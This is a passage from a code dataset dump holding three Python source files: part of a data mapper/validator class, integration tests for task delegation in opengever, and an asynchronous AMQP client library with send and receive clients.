hasattr(self, 'set'):\n self.set(data)\n\n\n def valid(self, _settings=None, data=None):\n props = self.props()\n # print(props)\n if _settings:\n props = _settings.items()\n if not data:\n data = self.__data\n for prop, settings in props:\n print(prop, settings)\n if not self.validate_value(settings, data.get(prop)):\n return False\n # if not self.__no_dicts__(settings):\n # for sub_key, sub_value in settings:\n # if not self.valid(settings.get(sub_key), sub_value):\n # return False\n # if not self.valid(settings, data.get(prop, {})):\n # return False\n # else:\n # if data.get(prop) and not self.validate_value(settings, data.get(prop)):\n # return False\n\n return True\n\n def validate_value(self, settings, value):\n if isinstance(settings, list):\n if not len(list):\n settings = {\n ''\n }\n if settings.get('required'):\n if not value:\n return False\n\n if settings.get('convert'):\n try:\n self.req.param(param, settings.type(value)) # save with new converted type\n except:\n return False\n\n _type = settings.get('type')\n if _type:\n if not type(value) == _type:\n return False\n return True\n\n func = settings.get('func')\n if func:\n if type(func) == str:\n func = getattr(self, func)\n if not func(value):\n return False\n return True\n\n values = settings.get('values')\n if values:\n if not value in values:\n return False\n return True\n\n regex = settings.get('regex')\n if regex:\n if not re.match(regex, value):\n return False\n return True\n\n _max = settings.get('max')\n _min = settings.get('min')\n\n if _max:\n if type(value) == str:\n if len(value) > _max: return False\n if value > _max: return False\n\n if _min:\n if type(value) == str:\n if len(value) < _min: return False\n if value < _min: return False\n\n return True\n\n def __no_dicts__(self, data):\n for key, value in data.items():\n if isinstance(value, dict):\n return False\n return True\n\n def props(self):\n res = [(attr, getattr(self, attr).data) for attr in dir(self)\n if isinstance(getattr(self, attr), Field)]\n return res\n\n # def __getattr__(self, name):\n # return self.__dict__.get(name)\n\n def __nonzero__(self):\n return self.valid()\n\n def __eq__(self, other):\n for prop, value in self.props():\n if not value == getattr(other, prop):\n return False\n return True\n\n def __contains__(self, prop):\n if self.__dict__.get(prop):\n return True\n return False\n\n def __repr__(self):\n res = {\n\n }\n for key, value in self.__dict__.items():\n res[key] = repr(value)\n return json.dumps(res).encode('utf-8').decode('unicode_escape')\n","sub_path":"arrow/mappers/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"41530127","text":"from ftw.testbrowser import browsing\nfrom ftw.testbrowser.pages import statusmessages\nfrom opengever.ogds.base.utils import get_current_org_unit\nfrom opengever.testing import IntegrationTestCase\nfrom plone import api\n\n\nclass TestDelegateTaskToInbox(IntegrationTestCase):\n\n @browsing\n def test_delegate_to_inbox(self, browser):\n self.login(self.secretariat_user, browser)\n\n browser.open(self.task,\n view='@@task_transition_controller',\n data={'transition': 'task-transition-delegate'})\n\n form = browser.find_form_by_field('Responsibles')\n form.find_widget('Responsibles').fill(\n ['inbox:{}'.format(get_current_org_unit().id())])\n browser.css('#form-buttons-save').first.click() # can't use submit()\n\n form = browser.find_form_by_field('Issuer')\n form.find_widget('Issuer').fill(self.dossier_responsible.getId())\n\n browser.css('#form-buttons-save').first.click() # can't use submit()\n\n self.assertEqual(['1 subtasks were create.'],\n statusmessages.info_messages())\n\n\nclass TestDelegateTaskForm(IntegrationTestCase):\n\n @browsing\n def test_delegate_creates_subtask(self, browser):\n self.login(self.regular_user, browser=browser)\n\n browser.open(self.task, view='delegate_recipients')\n\n # step 1\n form = browser.find_form_by_field('Responsibles')\n form.find_widget('Responsibles').fill(self.dossier_responsible)\n browser.css('#form-buttons-save').first.click()\n\n # step 2\n browser.css('#form-buttons-save').first.click()\n\n self.assertEqual(['1 subtasks were create.'],\n statusmessages.info_messages())\n\n subtask = self.task.objectValues()[-1]\n self.assertEqual(self.task.title, subtask.title)\n self.assertEqual('robert.ziegler', subtask.responsible)\n self.assertEqual('fa', subtask.responsible_client)\n self.assertEqual('task-state-open', api.content.get_state(subtask))\n\n @browsing\n def test_issuer_is_prefilled_with_current_user(self, browser):\n self.login(self.regular_user, browser=browser)\n\n browser.open(self.task, view='delegate_recipients')\n\n form = browser.find_form_by_field('Responsibles')\n form.find_widget('Responsibles').fill(self.dossier_responsible)\n browser.css('#form-buttons-save').first.click()\n\n self.assertEqual(\n self.regular_user.getId(), browser.find('Issuer').value)\n\n @browsing\n def test_responsible_is_required(self, browser):\n self.login(self.regular_user, browser=browser)\n\n browser.open(self.task, view='delegate_recipients')\n browser.css('#form-buttons-save').first.click()\n\n self.assertEqual(\n ['Required input is missing.'],\n browser.css('#formfield-form-widgets-responsibles .error').text)\n","sub_path":"opengever/task/tests/test_delegate.py","file_name":"test_delegate.py","file_ext":"py","file_size_in_byte":2908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"490892292","text":"#------------------------------------------------------------------------- # pylint: disable=client-suffix-needed\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#--------------------------------------------------------------------------\n# TODO: Check types of kwargs (issue exists for this)\nimport asyncio\nimport logging\nimport time\nimport queue\nfrom functools import partial\nfrom typing import Any, Dict, Optional, Tuple, Union, overload, cast\nfrom typing_extensions import Literal\nimport certifi\n\nfrom ..outcomes import Accepted, Modified, Received, Rejected, Released\nfrom ._connection_async import Connection\nfrom ._management_operation_async import ManagementOperation\nfrom ._cbs_async import CBSAuthenticator\nfrom ..client import (\n AMQPClient as AMQPClientSync,\n ReceiveClient as ReceiveClientSync,\n SendClient as SendClientSync,\n Outcomes\n)\nfrom ..message import _MessageDelivery\nfrom ..constants import (\n MessageDeliveryState,\n SEND_DISPOSITION_ACCEPT,\n SEND_DISPOSITION_REJECT,\n LinkDeliverySettleReason,\n MESSAGE_DELIVERY_DONE_STATES,\n AUTH_TYPE_CBS,\n)\nfrom ..error import (\n AMQPError,\n ErrorCondition,\n AMQPException,\n MessageException\n)\nfrom ..constants import LinkState\n\n_logger = logging.getLogger(__name__)\n\n\nclass AMQPClientAsync(AMQPClientSync):\n \"\"\"An asynchronous AMQP client.\n\n :param hostname: The AMQP endpoint to connect to.\n :type hostname: str\n :keyword auth: Authentication for the connection. This should be one of the following:\n - pyamqp.authentication.SASLAnonymous\n - pyamqp.authentication.SASLPlain\n - pyamqp.authentication.SASTokenAuth\n - pyamqp.authentication.JWTTokenAuth\n If no authentication is supplied, SASLAnnoymous will be used by default.\n :paramtype auth: ~pyamqp.authentication\n :keyword client_name: The name for the client, also known as the Container ID.\n If no name is provided, a random GUID will be used.\n :paramtype client_name: str or bytes\n :keyword network_trace: Whether to turn on network trace logs. If `True`, trace logs\n will be logged at INFO level. Default is `False`.\n :paramtype network_trace: bool\n :keyword retry_policy: A policy for parsing errors on link, connection and message\n disposition to determine whether the error should be retryable.\n :paramtype retry_policy: ~pyamqp.error.RetryPolicy\n :keyword keep_alive_interval: If set, a thread will be started to keep the connection\n alive during periods of user inactivity. The value will determine how long the\n thread will sleep (in seconds) between pinging the connection. If 0 or None, no\n thread will be started.\n :paramtype keep_alive_interval: int\n :keyword max_frame_size: Maximum AMQP frame size. Default is 63488 bytes.\n :paramtype max_frame_size: int\n :keyword channel_max: Maximum number of Session channels in the Connection.\n :paramtype channel_max: int\n :keyword idle_timeout: Timeout in seconds after which the Connection will close\n if there is no further activity.\n :paramtype idle_timeout: int\n :keyword auth_timeout: Timeout in seconds for CBS authentication. Otherwise this value will be ignored.\n Default value is 60s.\n :paramtype auth_timeout: int\n :keyword properties: Connection properties.\n :paramtype properties: dict[str, any]\n :keyword remote_idle_timeout_empty_frame_send_ratio: Ratio of empty frames to\n idle time for Connections with no activity. Value must be between\n 0.0 and 1.0 inclusive. Default is 0.5.\n :paramtype remote_idle_timeout_empty_frame_send_ratio: float\n :keyword incoming_window: The size of the allowed window for incoming messages.\n :paramtype incoming_window: int\n :keyword outgoing_window: The size of the allowed window for outgoing messages.\n :paramtype outgoing_window: int\n :keyword handle_max: The maximum number of concurrent link handles.\n :paramtype handle_max: int\n :keyword on_attach: A callback function to be run on receipt of an ATTACH frame.\n The function must take 4 arguments: source, target, properties and error.\n :paramtype on_attach: func[\n ~pyamqp.endpoint.Source, ~pyamqp.endpoint.Target, dict, ~pyamqp.error.AMQPConnectionError]\n :keyword send_settle_mode: The mode by which to settle message send\n operations. If set to `Unsettled`, the client will wait for a confirmation\n from the service that the message was successfully sent. If set to 'Settled',\n the client will not wait for confirmation and assume success.\n :paramtype send_settle_mode: ~pyamqp.constants.SenderSettleMode\n :keyword receive_settle_mode: The mode by which to settle message receive\n operations. If set to `PeekLock`, the receiver will lock a message once received until\n the client accepts or rejects the message. If set to `ReceiveAndDelete`, the service\n will assume successful receipt of the message and clear it from the queue. The\n default is `PeekLock`.\n :paramtype receive_settle_mode: ~pyamqp.constants.ReceiverSettleMode\n :keyword desired_capabilities: The extension capabilities desired from the peer endpoint.\n :paramtype desired_capabilities: list[bytes]\n :keyword max_message_size: The maximum allowed message size negotiated for the Link.\n :paramtype max_message_size: int\n :keyword link_properties: Metadata to be sent in the Link ATTACH frame.\n :paramtype link_properties: dict[str, any]\n :keyword link_credit: The Link credit that determines how many\n messages the Link will attempt to handle per connection iteration.\n The default is 300.\n :paramtype link_credit: int\n :keyword transport_type: The type of transport protocol that will be used for communicating with\n the service. Default is `TransportType.Amqp` in which case port 5671 is used.\n If the port 5671 is unavailable/blocked in the network environment, `TransportType.AmqpOverWebsocket` could\n be used instead which uses port 443 for communication.\n :paramtype transport_type: ~pyamqp.constants.TransportType\n :keyword http_proxy: HTTP proxy settings. This must be a dictionary with the following\n keys: `'proxy_hostname'` (str value) and `'proxy_port'` (int value).\n Additionally the following keys may also be present: `'username', 'password'`.\n :paramtype http_proxy: dict[str, str]\n :keyword custom_endpoint_address: The custom endpoint address to use for establishing a connection to\n the Event Hubs service, allowing network requests to be routed through any application gateways or\n other paths needed for the host environment. Default is None.\n If port is not specified in the `custom_endpoint_address`, by default port 443 will be used.\n :paramtype custom_endpoint_address: str\n :keyword connection_verify: Path to the custom CA_BUNDLE file of the SSL certificate which is used to\n authenticate the identity of the connection endpoint.\n Default is None in which case `certifi.where()` will be used.\n :paramtype connection_verify: str\n :keyword float socket_timeout: The maximum time in seconds that the underlying socket in the transport should\n wait when reading or writing data before timing out. The default value is 0.2 (for transport type Amqp),\n and 1 for transport type AmqpOverWebsocket.\n \"\"\"\n\n def __init__(self, hostname, **kwargs):\n self._mgmt_link_lock_async = asyncio.Lock()\n super().__init__(hostname,**kwargs)\n\n\n async def _keep_alive_async(self):\n start_time = time.time()\n try:\n while self._connection and not self._shutdown:\n current_time = time.time()\n elapsed_time = current_time - start_time\n if elapsed_time >= self._keep_alive_interval:\n _logger.debug(\n \"Keeping %r connection alive.\",\n self.__class__.__name__,\n extra=self._network_trace_params\n )\n await asyncio.shield(self._connection.listen(wait=self._socket_timeout,\n batch=self._link.current_link_credit))\n start_time = current_time\n await asyncio.sleep(1)\n except Exception as e: # pylint: disable=broad-except\n _logger.info(\n \"Connection keep-alive for %r failed: %r.\",\n self.__class__.__name__,\n e,\n extra=self._network_trace_params\n )\n\n async def __aenter__(self):\n \"\"\"Run Client in an async context manager.\n :return: The Client object.\n :rtype: ~pyamqp.AMQPClient\n \"\"\"\n await self.open_async()\n return self\n\n async def __aexit__(self, *args):\n \"\"\"Close and destroy Client on exiting an async context manager.\n :param any args: Ignored.\n \"\"\"\n await self.close_async()\n\n async def _client_ready_async(self):\n \"\"\"Determine whether the client is ready to start sending and/or\n receiving messages. To be ready, the connection must be open and\n authentication complete.\n\n :return: Whether or not the client is ready for operation.\n :rtype: bool\n \"\"\"\n return True\n\n async def _client_run_async(self, **kwargs):\n \"\"\"Perform a single Connection iteration.\"\"\"\n await self._connection.listen(wait=self._socket_timeout, **kwargs)\n\n async def _close_link_async(self):\n if self._link and not self._link._is_closed: # pylint: disable=protected-access\n await self._link.detach(close=True)\n self._link = None\n\n async def _do_retryable_operation_async(self, operation, *args, **kwargs):\n retry_settings = self._retry_policy.configure_retries()\n retry_active = True\n absolute_timeout = kwargs.pop(\"timeout\", 0) or 0\n start_time = time.time()\n while retry_active:\n try:\n if absolute_timeout < 0:\n raise TimeoutError(\"Operation timed out.\")\n return await operation(*args, timeout=absolute_timeout, **kwargs)\n except AMQPException as exc:\n if not self._retry_policy.is_retryable(exc):\n raise\n if absolute_timeout >= 0:\n retry_active = self._retry_policy.increment(retry_settings, exc)\n if not retry_active:\n break\n await asyncio.sleep(self._retry_policy.get_backoff_time(retry_settings, exc))\n if exc.condition == ErrorCondition.LinkDetachForced:\n await self._close_link_async() # if link level error, close and open a new link\n if exc.condition in (ErrorCondition.ConnectionCloseForced, ErrorCondition.SocketError):\n # if connection detach or socket error, close and open a new connection\n await self.close_async()\n finally:\n end_time = time.time()\n if absolute_timeout > 0:\n absolute_timeout -= (end_time - start_time)\n raise retry_settings['history'][-1]\n\n async def open_async(self, connection=None):\n \"\"\"Asynchronously open the client. The client can create a new Connection\n or an existing Connection can be passed in. This existing Connection\n may have an existing CBS authentication Session, which will be\n used for this client as well. Otherwise a new Session will be\n created.\n\n :param connection: An existing Connection that may be shared between\n multiple clients.\n :type connection: ~pyamqp.aio.Connection\n \"\"\"\n # pylint: disable=protected-access\n if self._session:\n return # already open.\n if connection:\n self._connection = connection\n self._external_connection = True\n if not self._connection:\n self._connection = Connection(\n \"amqps://\" + self._hostname,\n sasl_credential=self._auth.sasl,\n ssl_opts={'ca_certs': self._connection_verify or certifi.where()},\n container_id=self._name,\n max_frame_size=self._max_frame_size,\n channel_max=self._channel_max,\n idle_timeout=self._idle_timeout,\n properties=self._properties,\n network_trace=self._network_trace,\n transport_type=self._transport_type,\n http_proxy=self._http_proxy,\n custom_endpoint_address=self._custom_endpoint_address,\n socket_timeout=self._socket_timeout,\n )\n await self._connection.open()\n if not self._session:\n self._session = self._connection.create_session(\n incoming_window=self._incoming_window,\n outgoing_window=self._outgoing_window\n )\n await self._session.begin()\n if self._auth.auth_type == AUTH_TYPE_CBS:\n self._cbs_authenticator = CBSAuthenticator(\n session=self._session,\n auth=self._auth,\n auth_timeout=self._auth_timeout\n )\n await self._cbs_authenticator.open()\n self._network_trace_params[\"amqpConnection\"] = self._connection._container_id\n self._network_trace_params[\"amqpSession\"] = self._session.name\n self._shutdown = False\n\n if self._keep_alive_interval:\n self._keep_alive_thread = asyncio.ensure_future(self._keep_alive_async())\n\n async def close_async(self):\n \"\"\"Close the client asynchronously. This includes closing the Session\n and CBS authentication layer as well as the Connection.\n If the client was opened using an external Connection,\n this will be left intact.\n \"\"\"\n self._shutdown = True\n if not self._session:\n return # already closed.\n await self._close_link_async()\n if self._cbs_authenticator:\n await self._cbs_authenticator.close()\n self._cbs_authenticator = None\n await self._session.end()\n self._session = None\n if not self._external_connection:\n await self._connection.close()\n self._connection = None\n if self._keep_alive_thread:\n await self._keep_alive_thread\n self._keep_alive_thread = None\n self._network_trace_params[\"amqpConnection\"] = None\n self._network_trace_params[\"amqpSession\"] = None\n\n async def auth_complete_async(self):\n \"\"\"Whether the authentication handshake is complete during\n connection initialization.\n\n :return: Whether the authentication handshake is complete.\n :rtype: bool\n \"\"\"\n if self._cbs_authenticator and not await self._cbs_authenticator.handle_token():\n await self._connection.listen(wait=self._socket_timeout)\n return False\n return True\n\n async def client_ready_async(self):\n \"\"\"\n Whether the handler has completed all start up processes such as\n establishing the connection, session, link and authentication, and\n is not ready to process messages.\n\n :return: Whether the client is ready to process messages.\n :rtype: bool\n \"\"\"\n if not await self.auth_complete_async():\n return False\n if not await self._client_ready_async():\n try:\n await self._connection.listen(wait=self._socket_timeout)\n except ValueError:\n return True\n return False\n return True\n\n async def do_work_async(self, **kwargs):\n \"\"\"Run a single connection iteration asynchronously.\n This will return `True` if the connection is still open\n and ready to be used for further work, or `False` if it needs\n to be shut down.\n\n :return: Whether the connection is still open and ready for work.\n :rtype: bool\n :raises: TimeoutError if CBS authentication timeout reached.\n \"\"\"\n\n if self._shutdown:\n return False\n if not await self.client_ready_async():\n return True\n return await self._client_run_async(**kwargs)\n\n async def mgmt_request_async(self, message, **kwargs):\n \"\"\"\n :param message: The message to send in the management request.\n :type message: ~pyamqp.message.Message\n :keyword str operation: The type of operation to be performed. This value will\n be service-specific, but common values include READ, CREATE and UPDATE.\n This value will be added as an application property on the message.\n :keyword str operation_type: The type on which to carry out the operation. This will\n be specific to the entities of the service. This value will be added as\n an application property on the message.\n :keyword str node: The target node. Default node is `$management`.\n :keyword float timeout: Provide an optional timeout in seconds within which a response\n to the management request must be received.\n :return: The response to the management request.\n :rtype: ~pyamqp.message.Message\n \"\"\"\n\n # The method also takes \"status_code_field\" and \"status_description_field\"\n # keyword arguments as alternate names for the status code and description\n # in the response body. Those two keyword arguments are used in Azure services only.\n operation = kwargs.pop(\"operation\", None)\n operation_type = kwargs.pop(\"operation_type\", None)\n node = kwargs.pop(\"node\", \"$management\")\n timeout = kwargs.pop('timeout', 0)\n async with self._mgmt_link_lock_async:\n try:\n mgmt_link = self._mgmt_links[node]\n except KeyError:\n mgmt_link = ManagementOperation(self._session, endpoint=node, **kwargs)\n self._mgmt_links[node] = mgmt_link\n await mgmt_link.open()\n\n while not await mgmt_link.ready():\n await self._connection.listen(wait=False)\n\n operation_type = operation_type or b'empty'\n status, description, response = await mgmt_link.execute(\n message,\n operation=operation,\n operation_type=operation_type,\n timeout=timeout\n )\n return status, description, response\n\n\nclass SendClientAsync(SendClientSync, AMQPClientAsync):\n\n \"\"\"An asynchronous AMQP client.\n\n :param target: The target AMQP service endpoint. This can either be the URI as\n a string or a ~pyamqp.endpoint.Target object.\n :type target: str, bytes or ~pyamqp.endpoint.Target\n :keyword auth: Authentication for the connection. This should be one of the following:\n - pyamqp.authentication.SASLAnonymous\n - pyamqp.authentication.SASLPlain\n - pyamqp.authentication.SASTokenAuth\n - pyamqp.authentication.JWTTokenAuth\n If no authentication is supplied, SASLAnnoymous will be used by default.\n :paramtype auth: ~pyamqp.authentication\n :keyword client_name: The name for the client, also known as the Container ID.\n If no name is provided, a random GUID will be used.\n :paramtype client_name: str or bytes\n :keyword network_trace: Whether to turn on network trace logs. If `True`, trace logs\n will be logged at INFO level. Default is `False`.\n :paramtype network_trace: bool\n :keyword retry_policy: A policy for parsing errors on link, connection and message\n disposition to determine whether the error should be retryable.\n :paramtype retry_policy: ~pyamqp.error.RetryPolicy\n :keyword keep_alive_interval: If set, a thread will be started to keep the connection\n alive during periods of user inactivity. The value will determine how long the\n thread will sleep (in seconds) between pinging the connection. If 0 or None, no\n thread will be started.\n :paramtype keep_alive_interval: int\n :keyword max_frame_size: Maximum AMQP frame size. Default is 63488 bytes.\n :paramtype max_frame_size: int\n :keyword channel_max: Maximum number of Session channels in the Connection.\n :paramtype channel_max: int\n :keyword idle_timeout: Timeout in seconds after which the Connection will close\n if there is no further activity.\n :paramtype idle_timeout: int\n :keyword auth_timeout: Timeout in seconds for CBS authentication. Otherwise this value will be ignored.\n Default value is 60s.\n :paramtype auth_timeout: int\n :keyword properties: Connection properties.\n :paramtype properties: dict[str, any]\n :keyword remote_idle_timeout_empty_frame_send_ratio: Ratio of empty frames to\n idle time for Connections with no activity. Value must be between\n 0.0 and 1.0 inclusive. Default is 0.5.\n :paramtype remote_idle_timeout_empty_frame_send_ratio: float\n :keyword incoming_window: The size of the allowed window for incoming messages.\n :paramtype incoming_window: int\n :keyword outgoing_window: The size of the allowed window for outgoing messages.\n :paramtype outgoing_window: int\n :keyword handle_max: The maximum number of concurrent link handles.\n :paramtype handle_max: int\n :keyword on_attach: A callback function to be run on receipt of an ATTACH frame.\n The function must take 4 arguments: source, target, properties and error.\n :paramtype on_attach: func[\n ~pyamqp.endpoint.Source, ~pyamqp.endpoint.Target, dict, ~pyamqp.error.AMQPConnectionError]\n :keyword send_settle_mode: The mode by which to settle message send\n operations. If set to `Unsettled`, the client will wait for a confirmation\n from the service that the message was successfully sent. If set to 'Settled',\n the client will not wait for confirmation and assume success.\n :paramtype send_settle_mode: ~pyamqp.constants.SenderSettleMode\n :keyword receive_settle_mode: The mode by which to settle message receive\n operations. If set to `PeekLock`, the receiver will lock a message once received until\n the client accepts or rejects the message. If set to `ReceiveAndDelete`, the service\n will assume successful receipt of the message and clear it from the queue. The\n default is `PeekLock`.\n :paramtype receive_settle_mode: ~pyamqp.constants.ReceiverSettleMode\n :keyword desired_capabilities: The extension capabilities desired from the peer endpoint.\n :paramtype desired_capabilities: list[bytes]\n :keyword max_message_size: The maximum allowed message size negotiated for the Link.\n :paramtype max_message_size: int\n :keyword link_properties: Metadata to be sent in the Link ATTACH frame.\n :paramtype link_properties: dict[str, any]\n :keyword link_credit: The Link credit that determines how many\n messages the Link will attempt to handle per connection iteration.\n The default is 300.\n :paramtype link_credit: int\n :keyword transport_type: The type of transport protocol that will be used for communicating with\n the service. Default is `TransportType.Amqp` in which case port 5671 is used.\n If the port 5671 is unavailable/blocked in the network environment, `TransportType.AmqpOverWebsocket` could\n be used instead which uses port 443 for communication.\n :paramtype transport_type: ~pyamqp.constants.TransportType\n :keyword http_proxy: HTTP proxy settings. This must be a dictionary with the following\n keys: `'proxy_hostname'` (str value) and `'proxy_port'` (int value).\n Additionally the following keys may also be present: `'username', 'password'`.\n :paramtype http_proxy: dict[str, str]\n :keyword custom_endpoint_address: The custom endpoint address to use for establishing a connection to\n the Event Hubs service, allowing network requests to be routed through any application gateways or\n other paths needed for the host environment. Default is None.\n If port is not specified in the `custom_endpoint_address`, by default port 443 will be used.\n :paramtype custom_endpoint_address: str\n :keyword connection_verify: Path to the custom CA_BUNDLE file of the SSL certificate which is used to\n authenticate the identity of the connection endpoint.\n Default is None in which case `certifi.where()` will be used.\n :paramtype connection_verify: str\n \"\"\"\n\n async def _client_ready_async(self):\n \"\"\"Determine whether the client is ready to start receiving messages.\n To be ready, the connection must be open and authentication complete,\n The Session, Link and MessageReceiver must be open and in non-errored\n states.\n\n :return: Whether or not the client is ready to start sending messages.\n :rtype: bool\n \"\"\"\n # pylint: disable=protected-access\n if not self._link:\n self._link = self._session.create_sender_link(\n target_address=self.target,\n link_credit=self._link_credit,\n send_settle_mode=self._send_settle_mode,\n rcv_settle_mode=self._receive_settle_mode,\n max_message_size=self._max_message_size,\n properties=self._link_properties)\n await self._link.attach()\n return False\n if self._link.get_state().value != 3: # ATTACHED\n return False\n return True\n\n async def _client_run_async(self, **kwargs):\n \"\"\"MessageSender Link is now open - perform message send\n on all pending messages.\n Will return True if operation successful and client can remain open for\n further work.\n\n :return: Whether or not the client should remain open for further work.\n :rtype: bool\n \"\"\"\n await self._link.update_pending_deliveries()\n await self._connection.listen(wait=self._socket_timeout, **kwargs)\n return True\n\n async def _transfer_message_async(self, message_delivery, timeout=0):\n message_delivery.state = MessageDeliveryState.WaitingForSendAck\n on_send_complete = partial(self._on_send_complete_async, message_delivery)\n delivery = await self._link.send_transfer(\n message_delivery.message,\n on_send_complete=on_send_complete,\n timeout=timeout,\n send_async=True\n )\n return delivery\n\n async def _on_send_complete_async(self, message_delivery, reason, state):\n message_delivery.reason = reason\n if reason == LinkDeliverySettleReason.DISPOSITION_RECEIVED:\n if state and SEND_DISPOSITION_ACCEPT in state:\n message_delivery.state = MessageDeliveryState.Ok\n else:\n try:\n error_info = state[SEND_DISPOSITION_REJECT]\n self._process_send_error(\n message_delivery,\n condition=error_info[0][0],\n description=error_info[0][1],\n info=error_info[0][2]\n )\n except TypeError:\n self._process_send_error(\n message_delivery,\n condition=ErrorCondition.UnknownError\n )\n elif reason == LinkDeliverySettleReason.SETTLED:\n message_delivery.state = MessageDeliveryState.Ok\n elif reason == LinkDeliverySettleReason.TIMEOUT:\n message_delivery.state = MessageDeliveryState.Timeout\n message_delivery.error = TimeoutError(\"Sending message timed out.\")\n else:\n # NotDelivered and other unknown errors\n self._process_send_error(\n message_delivery,\n condition=ErrorCondition.UnknownError\n )\n\n async def _send_message_impl_async(self, message, **kwargs):\n timeout = kwargs.pop(\"timeout\", 0)\n expire_time = (time.time() + timeout) if timeout else None\n await self.open_async()\n message_delivery = _MessageDelivery(\n message,\n MessageDeliveryState.WaitingToBeSent,\n expire_time\n )\n\n while not await self.client_ready_async():\n await asyncio.sleep(0.05)\n\n await self._transfer_message_async(message_delivery, timeout)\n\n running = True\n while running and message_delivery.state not in MESSAGE_DELIVERY_DONE_STATES:\n running = await self.do_work_async()\n if message_delivery.state not in MESSAGE_DELIVERY_DONE_STATES:\n raise MessageException(\n condition=ErrorCondition.ClientError,\n description=\"Send failed - connection not running.\"\n )\n\n if message_delivery.state in (\n MessageDeliveryState.Error,\n MessageDeliveryState.Cancelled,\n MessageDeliveryState.Timeout\n ):\n try:\n raise message_delivery.error # pylint: disable=raising-bad-type\n except TypeError:\n # This is a default handler\n raise MessageException(condition=ErrorCondition.UnknownError, description=\"Send failed.\") from None\n\n async def send_message_async(self, message, **kwargs):\n \"\"\"\n :param ~pyamqp.message.Message message: The message to send.\n \"\"\"\n await self._do_retryable_operation_async(self._send_message_impl_async, message=message, **kwargs)\n\n\nclass ReceiveClientAsync(ReceiveClientSync, AMQPClientAsync):\n \"\"\"An asynchronous AMQP client.\n\n :param source: The source AMQP service endpoint. This can either be the URI as\n a string or a ~pyamqp.endpoint.Source object.\n :type source: str, bytes or ~pyamqp.endpoint.Source\n :keyword auth: Authentication for the connection. This should be one of the following:\n - pyamqp.authentication.SASLAnonymous\n - pyamqp.authentication.SASLPlain\n - pyamqp.authentication.SASTokenAuth\n - pyamqp.authentication.JWTTokenAuth\n If no authentication is supplied, SASLAnnoymous will be used by default.\n :paramtype auth: ~pyamqp.authentication\n :keyword client_name: The name for the client, also known as the Container ID.\n If no name is provided, a random GUID will be used.\n :paramtype client_name: str or bytes\n :keyword network_trace: Whether to turn on network trace logs. If `True`, trace logs\n will be logged at INFO level. Default is `False`.\n :paramtype network_trace: bool\n :keyword retry_policy: A policy for parsing errors on link, connection and message\n disposition to determine whether the error should be retryable.\n :paramtype retry_policy: ~pyamqp.error.RetryPolicy\n :keyword keep_alive_interval: If set, a thread will be started to keep the connection\n alive during periods of user inactivity. The value will determine how long the\n thread will sleep (in seconds) between pinging the connection. If 0 or None, no\n thread will be started.\n :paramtype keep_alive_interval: int\n :keyword max_frame_size: Maximum AMQP frame size. Default is 63488 bytes.\n :paramtype max_frame_size: int\n :keyword channel_max: Maximum number of Session channels in the Connection.\n :paramtype channel_max: int\n :keyword idle_timeout: Timeout in seconds after which the Connection will close\n if there is no further activity.\n :paramtype idle_timeout: int\n :keyword auth_timeout: Timeout in seconds for CBS authentication. Otherwise this value will be ignored.\n Default value is 60s.\n :paramtype auth_timeout: int\n :keyword properties: Connection properties.\n :paramtype properties: dict[str, any]\n :keyword remote_idle_timeout_empty_frame_send_ratio: Ratio of empty frames to\n idle time for Connections with no activity. Value must be between\n 0.0 and 1.0 inclusive. Default is 0.5.\n :paramtype remote_idle_timeout_empty_frame_send_ratio: float\n :keyword incoming_window: The size of the allowed window for incoming messages.\n :paramtype incoming_window: int\n :keyword outgoing_window: The size of the allowed window for outgoing messages.\n :paramtype outgoing_window: int\n :keyword handle_max: The maximum number of concurrent link handles.\n :paramtype handle_max: int\n :keyword on_attach: A callback function to be run on receipt of an ATTACH frame.\n The function must take 4 arguments: source, target, properties and error.\n :paramtype on_attach: func[\n ~pyamqp.endpoint.Source, ~pyamqp.endpoint.Target, dict, ~pyamqp.error.AMQPConnectionError]\n :keyword send_settle_mode: The mode by which to settle message send\n operations. If set to `Unsettled`, the client will wait for a confirmation\n from the service that the message was successfully sent. If set to 'Settled',\n the client will not wait for confirmation and assume success.\n :paramtype send_settle_mode: ~pyamqp.constants.SenderSettleMode\n :keyword receive_settle_mode: The mode by which to settle message receive\n operations. If set to `PeekLock`, the receiver will lock a message once received until\n the client accepts or rejects the message. If set to `ReceiveAndDelete`, the service\n will assume successful receipt of the message and clear it from the queue. The\n default is `PeekLock`.\n :paramtype receive_settle_mode: ~pyamqp.constants.ReceiverSettleMode\n :keyword desired_capabilities: The extension capabilities desired from the peer endpoint.\n :paramtype desired_capabilities: list[bytes]\n :keyword max_message_size: The maximum allowed message size negotiated for the Link.\n :paramtype max_message_size: int\n :keyword link_properties: Metadata to be sent in the Link ATTACH frame.\n :paramtype link_properties: dict[str, any]\n :keyword link_credit: The Link credit that determines how many\n messages the Link will attempt to handle per connection iteration.\n The default is 300.\n :paramtype link_credit: int\n :keyword transport_type: The type of transport protocol that will be used for communicating with\n the service. Default is `TransportType.Amqp` in which case port 5671 is used.\n If the port 5671 is unavailable/blocked in the network environment, `TransportType.AmqpOverWebsocket` could\n be used instead which uses port 443 for communication.\n :paramtype transport_type: ~pyamqp.constants.TransportType\n :keyword http_proxy: HTTP proxy settings. This must be a dictionary with the following\n keys: `'proxy_hostname'` (str value) and `'proxy_port'` (int value).\n Additionally the following keys may also be present: `'username', 'password'`.\n :paramtype http_proxy: dict[str, str]\n :keyword custom_endpoint_address: The custom endpoint address to use for establishing a connection to\n the Event Hubs service, allowing network requests to be routed through any application gateways or\n other paths needed for the host environment. Default is None.\n If port is not specified in the `custom_endpoint_address`, by default port 443 will be used.\n :paramtype custom_endpoint_address: str\n :keyword connection_verify: Path to the custom CA_BUNDLE file of the SSL certificate which is used to\n authenticate the identity of the connection endpoint.\n Default is None in which case `certifi.where()` will be used.\n :paramtype connection_verify: str\n \"\"\"\n\n async def _client_ready_async(self):\n \"\"\"Determine whether the client is ready to start receiving messages.\n To be ready, the connection must be open and authentication complete,\n The Session, Link and MessageReceiver must be open and in non-errored\n states.\n\n :return: Whether the client is ready to start receiving messages.\n :rtype: bool\n \"\"\"\n # pylint: disable=protected-access\n if not self._link:\n self._link = self._session.create_receiver_link(\n source_address=self.source,\n link_credit=self._link_credit,\n send_settle_mode=self._send_settle_mode,\n 